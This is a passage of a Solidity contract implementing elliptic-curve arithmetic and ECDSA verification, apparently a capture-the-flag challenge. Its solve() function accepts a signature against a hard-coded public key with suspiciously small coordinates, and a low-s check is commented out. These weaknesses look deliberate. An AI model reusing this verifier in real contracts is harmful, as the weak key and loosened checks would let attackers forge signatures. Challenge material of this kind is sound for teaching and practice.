157 |
158 | x0 = addmod(v, p - w, p);
159 | x0 = mulmod(t, x0, p);
160 | y0 = mulmod(y0, u, p);
161 | y0 = mulmod(y0, y0, p);
162 | y0 = mulmod(2, y0, p);
163 | y1 = addmod(x0, p - y0, p);
164 |
165 | x1 = mulmod(u, w, p);
166 |
167 | z1 = mulmod(u, u, p);
168 | z1 = mulmod(z1, u, p);
169 | }
170 |
171 | /**
172 | * @dev Add two elliptic curve points in projective coordinates. See
173 | * https://www.nayuki.io/page/elliptic-curve-point-addition-in-projective-coordinates
174 | */
175 | function addProj(uint256 x0, uint256 y0, uint256 z0, uint256 x1, uint256 y1, uint256 z1)
176 | public
177 | pure
178 | returns (uint256 x2, uint256 y2, uint256 z2)
179 | {
180 | uint256 t0;
181 | uint256 t1;
182 | uint256 u0;
183 | uint256 u1;
184 |
185 | if (isZeroCurve(x0, y0)) {
186 | return (x1, y1, z1);
187 | } else if (isZeroCurve(x1, y1)) {
188 | return (x0, y0, z0);
189 | }
190 |
191 | t0 = mulmod(y0, z1, p);
192 | t1 = mulmod(y1, z0, p);
193 |
194 | u0 = mulmod(x0, z1, p);
195 | u1 = mulmod(x1, z0, p);
196 |
197 | if (u0 == u1) {
198 | if (t0 == t1) {
199 | return twiceProj(x0, y0, z0);
200 | } else {
201 | return zeroProj();
202 | }
203 | }
204 |
205 | (x2, y2, z2) = addProj2(mulmod(z0, z1, p), u0, u1, t1, t0);
206 | }
207 |
208 | /**
209 | * @dev Helper function that splits addProj to avoid too many local variables.
210 | */
211 | function addProj2(uint256 v, uint256 u0, uint256 u1, uint256 t1, uint256 t0)
212 | private
213 | pure
214 | returns (uint256 x2, uint256 y2, uint256 z2)
215 | {
216 | uint256 u;
217 | uint256 u2;
218 | uint256 u3;
219 | uint256 w;
220 | uint256 t;
221 |
222 | t = addmod(t0, p - t1, p);
223 | u = addmod(u0, p - u1, p);
224 | u2 = mulmod(u, u, p);
225 |
226 | w = mulmod(t, t, p);
227 | w = mulmod(w, v, p);
228 | u1 = addmod(u1, u0, p);
229 | u1 = mulmod(u1, u2, p);
230 | w = addmod(w, p - u1, p);
231 |
232 | x2 = mulmod(u, w, p);
233 |
234 | u3 = mulmod(u2, u, p);
235 | u0 = mulmod(u0, u2, p);
236 | u0 = addmod(u0, p - w, p);
237 | t = mulmod(t, u0, p);
238 | t0 = mulmod(t0, u3, p);
239 |
240 | y2 = addmod(t, p - t0, p);
241 |
242 | z2 = mulmod(u3, v, p);
243 | }
244 |
245 | /**
246 | * @dev Add two elliptic curve points in affine coordinates.
247 | */
248 | function add(uint256 x0, uint256 y0, uint256 x1, uint256 y1) public pure returns (uint256, uint256) {
249 | uint256 z0;
250 |
251 | (x0, y0, z0) = addProj(x0, y0, 1, x1, y1, 1);
252 |
253 | return toAffinePoint(x0, y0, z0);
254 | }
255 |
256 | /**
257 | * @dev Double an elliptic curve point in affine coordinates.
258 | */
259 | function twice(uint256 x0, uint256 y0) public pure returns (uint256, uint256) {
260 | uint256 z0;
261 |
262 | (x0, y0, z0) = twiceProj(x0, y0, 1);
263 |
264 | return toAffinePoint(x0, y0, z0);
265 | }
266 |
267 | /**
268 | * @dev Multiply an elliptic curve point by a 2 power base (i.e., (2^exp)*P)).
269 | */
270 | function multiplyPowerBase2(uint256 x0, uint256 y0, uint256 exp) public pure returns (uint256, uint256) {
271 | uint256 base2X = x0;
272 | uint256 base2Y = y0;
273 | uint256 base2Z = 1;
274 |
275 | for (uint256 i = 0; i < exp; i++) {
276 | (base2X, base2Y, base2Z) = twiceProj(base2X, base2Y, base2Z);
277 | }
278 |
279 | return toAffinePoint(base2X, base2Y, base2Z);
280 | }
281 |
282 | /**
283 | * @dev Multiply an elliptic curve point by a scalar.
284 | */
285 | function multiplyScalar(uint256 x0, uint256 y0, uint256 scalar) public pure returns (uint256 x1, uint256 y1) {
286 | if (scalar == 0) {
287 | return zeroAffine();
288 | } else if (scalar == 1) {
289 | return (x0, y0);
290 | } else if (scalar == 2) {
291 | return twice(x0, y0);
292 | }
293 |
294 | uint256 base2X = x0;
295 | uint256 base2Y = y0;
296 | uint256 base2Z = 1;
297 | uint256 z1 = 1;
298 | x1 = x0;
299 | y1 = y0;
300 |
301 | if (scalar % 2 == 0) {
302 | x1 = y1 = 0;
303 | }
304 |
305 | scalar = scalar >> 1;
306 |
307 | while (scalar > 0) {
308 | (base2X, base2Y, base2Z) = twiceProj(base2X, base2Y, base2Z);
309 |
310 | if (scalar % 2 == 1) {
311 | (x1, y1, z1) = addProj(base2X, base2Y, base2Z, x1, y1, z1);
312 | }
313 |
314 | scalar = scalar >> 1;
315 | }
316 |
317 | return toAffinePoint(x1, y1, z1);
318 | }
319 |
320 | /**
321 | * @dev Multiply the curve's generator point by a scalar.
322 | */
323 | function multipleGeneratorByScalar(uint256 scalar) public pure returns (uint256, uint256) {
324 | return multiplyScalar(gx, gy, scalar);
325 | }
326 |
327 | /**
328 | * @dev Validate combination of message, signature, and public key.
329 | */
330 | function validateSignature(bytes32 message, uint256[2] memory rs, uint256[2] memory Q) public pure returns (bool) {
331 | // To disambiguate between public key solutions, include comment below.
332 | if (rs[0] == 0 || rs[0] >= n || rs[1] == 0) {
333 | // || rs[1] > lowSmax)
334 | return false;
335 | }
336 | if (!isOnCurve(Q[0], Q[1])) {
337 | return false;
338 | }
339 |
340 | uint256 x1;
341 | uint256 x2;
342 | uint256 y1;
343 | uint256 y2;
344 |
345 | uint256 sInv = inverseMod(rs[1], n);
346 | (x1, y1) = multiplyScalar(gx, gy, mulmod(uint256(message), sInv, n));
347 | (x2, y2) = multiplyScalar(Q[0], Q[1], mulmod(rs[0], sInv, n));
348 | uint256[3] memory P = addAndReturnProjectivePoint(x1, y1, x2, y2);
349 |
350 | if (P[2] == 0) {
351 | return false;
352 | }
353 |
354 | uint256 Px = inverseMod(P[2], p);
355 | Px = mulmod(P[0], mulmod(Px, Px, p), p);
356 |
357 | return Px % n == rs[0];
358 | }
359 |
360 | function solve(uint256[2] calldata rs) public {
361 | bytes32 message = 0x7a4962955bc13965098ae0451b0029cb58e1de58a5ce8afa42aa7413a5609470;
362 | uint256[2] memory Q = [
363 | uint256(0x000000000000000000000000000000000000000000000000000004171b3cc7bd),
364 | uint256(0x000000000000000000000000000000000000000000000000000002f94a363111)
365 | ];
366 | require(validateSignature(message, rs, Q), "invalid rs");
367 | solved = true;
368 | }
369 | }
370 |
--------------------------------------------------------------------------------